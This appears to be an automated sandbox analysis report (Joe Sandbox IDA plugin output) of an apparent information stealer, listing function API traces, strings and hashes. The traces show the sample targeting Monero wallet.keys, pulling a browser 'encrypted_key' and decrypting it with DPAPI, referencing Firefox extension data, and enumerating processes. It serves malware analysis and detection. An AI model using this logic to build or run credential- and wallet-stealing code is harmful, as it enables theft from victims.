Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 00538B60: GetSystemTime.KERNEL32(00540E1A,0108E700,005405AE,?,?,005213F9,?,0000001A,00540E1A,00000000,?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 00538B86

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0052D801
lstrlen.KERNEL32(00000000), ref: 0052D99F
lstrlen.KERNEL32(00000000), ref: 0052D9B3
DeleteFileA.KERNEL32(00000000), ref: 0052DA32

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 45f58ff71b2b6c3a3c9841f7a08a694c779c8ea86461da52c8c2ca66156dd1b5
Instruction ID: da24577d60c4b4d9c0e4b8e6f86859b98a421e68996c3f4ea0ffc25bbc25e7ba
Opcode Fuzzy Hash: 45f58ff71b2b6c3a3c9841f7a08a694c779c8ea86461da52c8c2ca66156dd1b5
Instruction Fuzzy Hash: 43810472910119ABCB04FBB4DC9AEEEBB38BF94300F504518F547B6091EF746A09DB66

Function 0052F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005299EC
Part of subcall function 005299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00529A11
Part of subcall function 005299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00529A31
Part of subcall function 005299C0: ReadFile.KERNEL32(000000FF,?,00000000,0052148F,00000000), ref: 00529A5A
Part of subcall function 005299C0: LocalFree.KERNEL32(0052148F), ref: 00529A90
Part of subcall function 005299C0: CloseHandle.KERNEL32(000000FF), ref: 00529A9A

Part of subcall function 00538E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00538E52

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00541580,00540D92), ref: 0052F54C
lstrlen.KERNEL32(00000000), ref: 0052F56B

Strings

moz-extension+++, xrefs: 0052F5AD
^userContextId=4294967295, xrefs: 0052F59C

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 6036d48bbb3545363c290522035f24df2efd7d4e513874cbdf7b389e4e31b648
Instruction ID: 3d9e003d0515d1b0bbbe5219ba743ac8f702991a2a76d2bbdce3a2d510fd234c
Opcode Fuzzy Hash: 6036d48bbb3545363c290522035f24df2efd7d4e513874cbdf7b389e4e31b648
Instruction Fuzzy Hash: 9151F672D10109AADB04FBB4DC9ADEDBB78BFD4300F508528F45667195EF346A09CBA2

Function 005370D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

sS, xrefs: 00537111
sS, xrefs: 005372AE, 00537179, 0053717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0053718C

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: sS$sS$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-1259041206
Opcode ID: d034a1658874ddc898d3b0b1ae40aa22c321786b7c84f01795c69306eaaa9e2a
Instruction ID: d2b2b8306c3282bf60cb5fc55d1ca0f309af32f8cfee70f7c744a8bf7bd048d3
Opcode Fuzzy Hash: d034a1658874ddc898d3b0b1ae40aa22c321786b7c84f01795c69306eaaa9e2a
Instruction Fuzzy Hash: CB515DB1C0421DABDB24EB90DC99BEEBB74BF58304F1045A8E21566181EB746E88DF58

Function 00529CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 005299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005299EC
Part of subcall function 005299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00529A11
Part of subcall function 005299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00529A31
Part of subcall function 005299C0: ReadFile.KERNEL32(000000FF,?,00000000,0052148F,00000000), ref: 00529A5A
Part of subcall function 005299C0: LocalFree.KERNEL32(0052148F), ref: 00529A90
Part of subcall function 005299C0: CloseHandle.KERNEL32(000000FF), ref: 00529A9A

Part of subcall function 00538E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00538E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00529D39

Part of subcall function 00529AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NR,00000000,00000000), ref: 00529AEF
Part of subcall function 00529AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00524EEE,00000000,?), ref: 00529B01
Part of subcall function 00529AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NR,00000000,00000000), ref: 00529B2A
Part of subcall function 00529AC0: LocalFree.KERNEL32(?,?,?,?,00524EEE,00000000,?), ref: 00529B3F

Part of subcall function 00529B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00529B84
Part of subcall function 00529B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00529BA3
Part of subcall function 00529B60: LocalFree.KERNEL32(?), ref: 00529BD3

Strings

DPAPI, xrefs: 00529D89
"encrypted_key":", xrefs: 00529D30
, xrefs: 00529DC1

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 2f18ade2ac4779a68d65ddeb053959c4b4b2bc3b14569f153e3001d0126e2762
Instruction ID: a66833cf73d8f29321e405d00194ffc62f4d8e32b0b7f120243bef7359221c25
Opcode Fuzzy Hash: 2f18ade2ac4779a68d65ddeb053959c4b4b2bc3b14569f153e3001d0126e2762
Instruction Fuzzy Hash: C43152B6D10219ABCF04DFE4DC85BEFBBB8BF89304F144518E905A7281E7709A44CBA5

Function 00538680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,005405B7), ref: 005386CA
Process32First.KERNEL32(?,00000128), ref: 005386DE
Process32Next.KERNEL32(?,00000128), ref: 005386F3

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

CloseHandle.KERNEL32(?), ref: 00538761

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 823be6cc19b5a976c90ee2cdf654bbf55c17d321169c21d82919ae3e7c444f73
Instruction ID: a7234b9a588733b22d0d1a50a7792cb2c65537578215ba9f62a094e3b80125cc
Opcode Fuzzy Hash: 823be6cc19b5a976c90ee2cdf654bbf55c17d321169c21d82919ae3e7c444f73
Instruction Fuzzy Hash: 42312B72901219ABCB24EF54DC49FEEBB78FB85700F104199F50AB61A0DB746A45CFA1

Function 00536AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01088B38,?,0054110C,?,00000000,?,00541110,?,00000000,00540AEF), ref: 00536ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00536AE8
CloseHandle.KERNEL32(00000000), ref: 00536AF9
Sleep.KERNEL32(00001770), ref: 00536B04
CloseHandle.KERNEL32(?,00000000,?,01088B38,?,0054110C,?,00000000,?,00541110,?,00000000,00540AEF), ref: 00536B1A
ExitProcess.KERNEL32 ref: 00536B22

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 23b143669540a31d1878a07588bcc63ec6e1b12d92e644be83e0a97fc93aa66f
Instruction ID: d8d0be18c76f2d67e9fa6a7ba99532c999f5e0c4a911e900d8c6833629b02715
Opcode Fuzzy Hash: 23b143669540a31d1878a07588bcc63ec6e1b12d92e644be83e0a97fc93aa66f
Instruction Fuzzy Hash: 4FF0DA7094031AFAE710ABA0DC2ABBDBF74FB44701F10C918F513B5191DBF45540DA6A

Function 005247B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00524839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00524849

Strings

<, xrefs: 005247C9

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: c48b52379bed104c7be31cc43784889c23db463f4c68aee9d2d7c0e323ad10bc
